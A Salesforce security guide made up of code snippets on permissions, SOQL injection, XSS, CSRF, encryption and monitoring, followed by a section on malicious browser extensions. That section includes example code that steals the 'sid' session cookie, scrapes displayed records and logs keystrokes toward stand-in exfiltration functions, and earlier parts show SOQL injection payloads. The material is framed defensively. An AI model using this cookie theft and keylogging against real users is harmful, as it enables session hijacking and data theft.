Salesforce Security: The Ultimate Guide to Preventing Hacks

-- SOQL Query: Find users with Modify All Data permission
SELECT Id, Name, Profile.Name
FROM User
WHERE Profile.PermissionsModifyAllData = true
AND IsActive = true

-- Find all permission sets with View All Data
SELECT Id, Name, PermissionsViewAllData
FROM PermissionSet
WHERE PermissionsViewAllData = true

// RECOMMENDED: User mode automatically enforces CRUD and FLS
List<Account> accounts = [
    SELECT Id, Name, AnnualRevenue, Phone
    FROM Account
    WITH USER_MODE
];

// For DML operations
Database.insert(newAccounts, AccessLevel.USER_MODE);

// Throws exception if user lacks field access
List<Contact> contacts = [
    SELECT Id, Name, Email, SSN__c
    FROM Contact
    WITH SECURITY_ENFORCED
];
// If user can't see SSN__c, query throws System.QueryException

public class SecureContactController {

    public static List<Contact> getContacts() {
        // Check object-level access
        if (!Schema.sObjectType.Contact.isAccessible()) {
            throw new AuraHandledException('You do not have access to Contacts');
        }

        // Check field-level access
        if (!Schema.sObjectType.Contact.fields.Email.isAccessible()) {
            throw new AuraHandledException('You do not have access to Email field');
        }

        return [SELECT Id, Name, Email FROM Contact LIMIT 100];
    }

    public static void updateContact(Contact con) {
        // Check update permission
        if (!Schema.sObjectType.Contact.isUpdateable()) {
            throw new AuraHandledException('You cannot update Contacts');
        }

        // Check field update permission
        if (!Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
            throw new AuraHandledException('You cannot update Email field');
        }

        update con;
    }
}

// Connected App metadata example (for reference)
{
    "fullName": "Secure_Integration_App",
    "label": "Secure Integration App",
    "oauthConfig": {
        "callbackUrl": "https://your-app.com/oauth/callback",
        "isAdminApproved": true,
        "scopes": ["api", "refresh_token"],
        "isSecretRequiredForRefreshToken": true,
        "isCodeCredentialPostOnly": true
    },
    "oauthPolicy": {
        "ipRelaxation": "ENFORCE",
        "refreshTokenPolicy": "SPECIFIC_EXPIRATION",
        "refreshTokenValidityPeriod": 90,
        "singleLogoutUrl": "https://your-app.com/logout"
    }
}

// DANGEROUS - DO NOT USE
public List<Account> searchAccounts(String searchTerm) {
    String query = 'SELECT Id, Name FROM Account WHERE Name = '' + searchTerm + ''';
    return Database.query(query);
}

// Attacker input: ' OR Name != '
// Results in: SELECT Id, Name FROM Account WHERE Name = '' OR Name != ''
// Returns ALL accounts!

// SECURE - Bind variable prevents injection
public List<Account> searchAccounts(String searchTerm) {
    return [SELECT Id, Name FROM Account WHERE Name = :searchTerm];
}

// Even better: Use LIKE with bind variable
public List<Account> searchAccountsLike(String searchTerm) {
    String sanitizedTerm = '%' + searchTerm + '%';
    return [SELECT Id, Name FROM Account WHERE Name LIKE :sanitizedTerm];
}

// SECURE - Escapes single quotes in user input
public List<Account> dynamicSearch(String searchTerm) {
    String escapedTerm = String.escapeSingleQuotes(searchTerm);
    String query = 'SELECT Id, Name FROM Account WHERE Name LIKE '%' + escapedTerm + '%'';
    return Database.query(query);
}

// SECURE - Modern approach with bind map
public List<Account> modernSearch(String searchTerm, String industry) {
    String query = 'SELECT Id, Name, Industry FROM Account WHERE Name LIKE :searchTerm';

    if (String.isNotBlank(industry)) {
        query += ' AND Industry = :industry';
    }

    Map<String, Object> bindMap = new Map<String, Object>{
        'searchTerm' => '%' + searchTerm + '%',
        'industry' => industry
    };

    return Database.queryWithBinds(query, bindMap, AccessLevel.USER_MODE);
}

// VULNERABLE - Boolean injection
String isActiveInput = 'true OR ReceivesAdminInfoEmails=true';
String query = 'SELECT Id FROM User WHERE IsActive=' + String.escapeSingleQuotes(isActiveInput);
// Injection succeeds because no quotes are needed!

// SECURE - Typecast to enforce data type
public List<User> getUsersByStatus(String isActiveInput) {
    Boolean isActive;
    try {
        isActive = Boolean.valueOf(isActiveInput);
    } catch (Exception e) {
        throw new AuraHandledException('Invalid input');
    }
    return [SELECT Id, Name FROM User WHERE IsActive = :isActive];
}

<!-- DANGEROUS - escape="false" allows XSS -->
<apex:outputText value="{!userInput}" escape="false" />

<!-- DANGEROUS - Direct output in JavaScript -->
<script>
    var name = '{!JSENCODE(userInput)}'; // Must use JSENCODE
</script>

<!-- SECURE - Default behavior escapes HTML -->
<apex:outputText value="{!userInput}" />

<!-- SECURE - Explicit HTML encoding -->
<apex:outputText value="{!HTMLENCODE(userInput)}" />

<!-- SECURE - For JavaScript contexts -->
<script>
    var name = '{!JSENCODE(userInput)}';
    var data = {!JSINHTMLENCODE(jsonData)};
</script>

<!-- SECURE - For URL parameters -->
<a href="/page?param={!URLENCODE(userInput)}">Link</a>

// SECURE - Template expressions are auto-escaped
<template>
    <p>{userInput}</p> <!-- Automatically escaped -->
</template>

// VULNERABLE - Direct innerHTML assignment
connectedCallback() {
    // DANGEROUS - Allows XSS (even with LWS, user input should be validated)
    this.template.querySelector('div').innerHTML = this.userInput;
}

// SECURE - Use textContent for plain text
connectedCallback() {
    // SAFE - textContent escapes HTML
    this.template.querySelector('div').textContent = this.userInput;
}

// RECOMMENDED - Use lightning-formatted-rich-text for HTML content
// In your template:
<template>
    <lightning-formatted-rich-text value={richTextContent}>
    </lightning-formatted-rich-text>
</template>
// The component automatically sanitizes HTML and only allows safe tags

// HTML template
<template>
    <lightning-formatted-rich-text
        value={userProvidedHtml}>
    </lightning-formatted-rich-text>
</template>

// Supported tags (all others are stripped):
// a, abbr, b, br, big, blockquote, code, del, div, em,
// h1-h6, hr, i, img, ins, li, ol, p, pre, s, small,
// span, strong, sub, sup, table, tbody, td, th, tr, u, ul

// VULNERABLE - DML in page constructor
public class VulnerableController {
    public VulnerableController() {
        // DANGEROUS - Executes before CSRF check completes
        delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
    }
}

// VULNERABLE in LWC - DML on load
@AuraEnabled
public static void riskyMethod() {
    // Don't call this from connectedCallback()!
    delete [SELECT Id FROM Task LIMIT 10];
}

// SECURE - Require explicit user action
public PageReference deleteRecords() {
    // Safe - Called via button click after page fully loaded
    if (ApexPages.currentPage().getParameters().containsKey('confirm')) {
        delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
    }
    return null;
}

// VULNERABLE - DML on component load
connectedCallback() {
    deleteRecords(); // DON'T DO THIS
}

// SECURE - Require user interaction
handleDeleteClick() {
    // Show confirmation first
    if (confirm('Are you sure?')) {
        deleteRecords();
    }
}

// When making API calls from external apps, include session token
fetch('/services/data/v65.0/sobjects/Account', {
    method: 'POST',
    headers: {
        'Authorization': 'Bearer ' + sessionId,
        'Content-Type': 'application/json',
        // Salesforce validates session ID as CSRF token
    },
    body: JSON.stringify(accountData)
});

# Generate key material using OpenSSL
openssl rand -out customer-key.bin 32

# Wrap the key with Salesforce certificate (obtained from Setup)
openssl pkeyutl -encrypt 
    -in customer-key.bin 
    -out wrapped-key.bin 
    -pubin -inkey salesforce-cert.pem 
    -pkeyopt rsa_padding_mode:oaep 
    -pkeyopt rsa_oaep_md:sha256

-- Query login history in Apex
SELECT Id, UserId, LoginTime, SourceIp, Status, Application, Browser
FROM LoginHistory
WHERE LoginTime > LAST_N_DAYS:7
ORDER BY LoginTime DESC

-- Query setup changes
SELECT Id, CreatedDate, CreatedById, CreatedBy.Name, Action, Section, Display
FROM SetupAuditTrail
WHERE CreatedDate > LAST_N_DAYS:30
ORDER BY CreatedDate DESC

// Custom Apex policy for suspicious API activity
global class HighVolumeAPIPolicy implements TxnSecurity.PolicyCondition {
    public boolean evaluate(TxnSecurity.Event e) {
        // Trigger if more than 500 API calls in 10 minutes
        Integer recentCalls = [
            SELECT COUNT() FROM ApiEvent
            WHERE UserId = :e.getUserId()
            AND EventDate > :DateTime.now().addMinutes(-10)
        ];
        return recentCalls > 500;
    }
}

// Normal OAuth Flow (Visible to Salesforce)
// 1. App redirects to Salesforce login
// 2. User authenticates and grants permission
// 3. Salesforce issues access_token to the app
// 4. App uses token for API calls -> LOGGED in Connected Apps OAuth Usage

// Browser Extension Flow (Invisible to Salesforce)
// 1. User logs into Salesforce normally
// 2. Browser stores session cookie (sid)
// 3. Extension reads the cookie OR reads page content directly
// 4. Extension acts with user's full permissions -> NO TRACE in Salesforce

// Extension accessing data - Salesforce sees this as the USER, not an app
chrome.cookies.get({url: "https://mycompany.my.salesforce.com", name: "sid"},
    function(cookie) {
        // Extension now has full session access
        // Can make requests that appear to come from the user
        fetch("https://mycompany.my.salesforce.com/services/data/v65.0/query?q=SELECT+Id,Name+FROM+Account", {
            headers: { "Authorization": "Bearer " + cookie.value }
        });
        // This API call is attributed to the USER, not any "app"
    }
);

// Even worse - DOM scraping requires NO API calls at all
// Extension just reads what's already displayed on screen
document.querySelectorAll('.slds-table tbody tr').forEach(row => {
    // Silently capture all visible record data
    // Zero API calls = Zero detection in Event Monitoring
    exfiltrateToAttacker(row.innerText);
});

{
  "host_permissions": [
    "*://*.salesforce.com/*",        // All Salesforce domains
    "*://*.force.com/*",             // Visualforce & custom domains
    "*://*.lightning.force.com/*",   // Lightning Experience
    "*://*.my.salesforce.com/*",     // My Domain URLs
    "*://*.cloudforce.com/*"         // Sandbox environments
  ]
}

// Example: How a malicious extension can steal Salesforce session
// THIS IS FOR EDUCATIONAL PURPOSES - showing what attackers do

// 1. Read Salesforce session cookie
chrome.cookies.get({
    url: "https://yourcompany.my.salesforce.com",
    name: "sid"
}, function(cookie) {
    // Session ID captured - attacker can now impersonate user
    exfiltrateData(cookie.value);
});

// 2. Intercept API responses containing sensitive data
chrome.webRequest.onCompleted.addListener(
    function(details) {
        // Capture all Salesforce API responses
        if (details.url.includes('/services/data/')) {
            // Record data is being exfiltrated
        }
    },
    {urls: ["*://*.salesforce.com/*"]}
);

// 3. Inject keylogger on Salesforce login page
if (window.location.hostname.includes('salesforce.com')) {
    document.addEventListener('keydown', function(e) {
        // Every keystroke sent to attacker's server
        sendToC2Server(e.key);
    });
}

{
  "ExtensionInstallBlocklist": ["*"],
  // Block ALL extensions by default (zero-trust approach)

  "ExtensionInstallAllowlist": [
    "eimadpbcbfnmbkopoojfekhnkhdbieeh",  // Dark Reader
    "cjpalhdlnbpafiamejdnhcphjbkeiagm",  // uBlock Origin
    "hdokiejnpimakedhajhdlcegeplioahd"   // LastPass
  ],
  // Only these extension IDs can be installed

  "ExtensionInstallForcelist": [
    "your-security-ext-id;https://your-domain.com/update.xml"
  ],
  // Auto-install corporate security extensions

  "ExtensionAllowedTypes": ["extension", "theme"],
  // Only allow extensions and themes (no hosted apps)

  "RuntimeBlockedHosts": [
    "*://*.salesforce.com/*",
    "*://*.force.com/*",
    "*://*.lightning.force.com/*",
    "*://*.my.salesforce.com/*"
  ]
  // Even allowed extensions CANNOT access Salesforce
}